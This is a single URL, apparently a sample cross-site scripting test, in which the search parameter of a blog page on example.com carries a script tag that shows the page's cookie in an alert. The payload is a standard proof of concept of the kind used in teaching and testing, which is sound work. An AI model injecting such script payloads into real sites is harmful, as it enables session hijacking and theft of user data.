http://www.example.com/BlogPath/search.asp?q=<script>alert(document.cookie);</script>